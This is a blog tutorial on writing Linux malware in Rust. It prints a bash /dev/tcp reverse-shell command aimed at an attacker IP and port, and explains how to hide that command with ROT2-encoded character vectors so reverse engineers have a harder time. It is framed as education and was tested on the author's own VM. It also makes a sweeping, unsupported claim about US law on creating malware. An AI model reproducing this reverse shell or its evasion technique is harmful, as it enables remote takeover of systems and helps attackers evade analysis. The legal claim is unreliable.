Writing malware for Linux... in Rust?
Jun 2, 2025

Writing malware in Rust is just like writing malware in any other language. However, what makes Rust so special when it comes to malware development is that it is mostly portable, and extremely hard to reverse engineer. This is because when you try to examine a Rust binary in a decompiling tool such as ghidra, the code is extremely obfuscated as it is decompiled into C/C++. For more details, see this wonderful video by LowLevel.
Nonetheless, today I will be demonstrating how to create a Reverse Shell in Rust for linux, as well as some obfuscation techniques written in Rust to help hide your tracks.
Getting Started
Before we write anything, lets first start up a virtual machine to test our malware on. Since we aren't trying to break any laws here, the virtual machine will help us test and deploy our malware without breaking any laws. Of course, this is very dependent on where you are in the world. Here in the United States, we have no laws when it comes to the creation of malware, so long as the malware does NOT leave an environment where it could damage any property that does not belong to the creator.
Luckily for me, I live in the United States, so I can make this freely— without the scrupulous eyes of the law upon me.
For my testing environment, I created an Ubuntu 25.04 machine with virt-manager
through QEMU/KVM. Additionally, I installed Rust onto the system so that we are able to run our developed malware (because how can we run rust programs otherwise?).
SO what do we need?:
Physical stuff we need:
A virtual machine on a computer that is owned by us.
Some basic Rust programming skills
Basic networking skills
Some basic command line skills
Some basic mathematic skills
Another computer with the same CPU architecture as your main computer (optional)
Programs and digital stuff
On your main computer, you should have a virtual machine manager (I use QEMU/KVM through virt-manager for linux, busybox or virtbox on windows)
Or IF you have another computer that you also own, preferably with the same CPU architecture (i.e. your main computer uses x86_64, your testing computer should also have an x86_64 processor)
An
.iso
of any linux distribution for your testing platform.Ubuntu 25.04 is the one used in this tutorial, which you can get here.
Rust installed on both computers (testing and main, obviously).
The Code:
First and foremost, lets just write a simple reverse shell that runs an OS command in Rust.
In this code, we don't have to do anything crazy, we just need the command line to do run the following command:
bash -c 'exec bash -i &>/dev/tcp/{ATTACKER_IP}/{PORT} <&1'
In my case, I want to connect to the IP: 192.168.122.1
on port 4444
This creates a reverse shell to our main computer that is running ncat or any listener. This is extremely simple reverse shell, but lets compile it, send it to our virtual machine, and start up a listener through ncat.

I sent the binary over to my testserver, which is just a virtual machine. Let's check the target machine to see if we got the binary, and let's run our program.

Alright, we execute the binary on our VM, lets check ncat on our main computer again…

Success! We built a simple reverse shell using OS commands and got it to execute.
Of course, if you want to make it much more advanced, we should make an actual interactive shell in Rust, but as an example this is great to start with. We can use the code we have written as a baseline to learn some really cool obfuscation techniques in Rust.
Obfuscation techniques.
Of course, this isn't a malware development guide without getting into obfuscation.
A cool thing about Rust is that we can typecast pretty easily, and this allows us to do some modifications to variables via algorithms.
The obfuscation technique I am going to demonstrate to y'all specifically is using ROT2 or rotational obfuscation through 2 translations. You can technically use any number but I used 2 for this example.
If you are not familiar with ROT13 or Caesar Cipher, it is suggested that you understand the basics of these simple encryptions before proceeding.
So with that disclosed, lets get to coding!
here is the code all together, but lets break it down:
// First portion [obfuscated code]
First, lets look at our obfuscated code. At first glance you're probably thinking:
"what the f**k is going on here?"
which is absolutely the response you want to have.
Hopefully this will break it down for you:
We initialize vectors called obscured_{x} which is a vector of
chars
with each particular char in hex format.We do this for every string value that we have.
We additionally broke up the string
$(bash -i &>/dev/t/tcp/192.168.122.1/4444 <&1)
into 4 distinct strings:obscured_sc
obscured_ip
obscured_port
obscured_inner_arg2
While we could have compressed everything into ONE vector, it is best practice to keep these as their own seperate vector.
Think of it this way, the more complicated your code gets, the harder your program is to reverse engineer.
Additionally, if we wanted to do some more advanced cryptographic functions to our malware, i.e. encrypt the port number or certain parts of the command to do other things, this setup allows us to do so.
Because they are a vector of chars, they comprise themselves into a
string
which is just a vector of chars. In our particular case, each char is encoded through ROT2. (for example\x22
maps to\x24
which translates to the character '$')Even though we encoded each string, it is still extremely easy to decipher what our program is doing on the user's side, since our reverse shell is one of the most common reverse shells to exist.
However, if a person were to examine the binary, the way we have encoded this reverse shell is considerably harder to decode on what exactly is happening. Not to mention how difficult it already is to decipher a Rust binary already. What we are essentially doing here is writing a front-end to interacting with the target system using Rust.
Realistically speaking, when developing malware functions written by scratch, we could use a similar method as shown to obscure our code by using encoded vectors as a way to obscure domain names, system calls, etc.
// Second portion [deobfuscation]
While we could have written a function to deobfuscate our code, I wanted to be able to show what exactly is happening with each variable to explain this part step-by-step. Let's take a look at the code and see what is happening
We initialize 3 string variables to hold our deobfuscated text.
We do this as we need to rotate each
char
in eachvec
to their original value.Since we have seperated lines of text, we have 3 strings to create from our deobfuscation process:
command
arg
arg2
Lets take at a look at one of the code blocks to decipher what essentially is happening at this stage:
This code iterates through each character in the vector.
We have the variable
x
which is our key value to deobfuscate
(in our case, we rotated the characters by 2, so we setx=2
)We then have the variable
z
which holds is held to the value of thecharacter + x
We then push
z
into ourcommand
string, which we then use as our command.
We do this for every part of our code that we had obfuscated, and then we run the command with:
Let's test it to see if it works:

Same thing as last time, we build the binary and send it to our test server.

We once again run the binary on our test machine

Once again, a great success!
Conclusions
Well, that's all that I have for today, although the code we have is not too complex, it hopefully can contribute to your adventure in cybersecurity as much as it did for me!
If you would like to test this little project by yourself, all the code can be copied and pasted from here, free of use! Of course, as a disclaimer, I am not responsible for any damages done with the knowledge I have transcribed in this article, as this article was written with the intent of educational purpose. Any code, software, or images are free to share, but were performed on property owned by me. As much as I find it stupid to regurgitate:
DO NOT TRY THIS OR ATTEMPT TO CREATE THIS ON ANY DEVICE THAT YOU DO NOT OWN. THIS PROJECT WAS DESIGNED TO BE PERFORMED ON ELECTRONIC DEVICES THAT YOU, THE VIEWER OWN, AND I AM NOT RESPONSIBLE FOR ANY ACTIONS YOU TAKE OUTSIDE FROM THE INFORMATION PROVIDED IN THIS ARTICLE.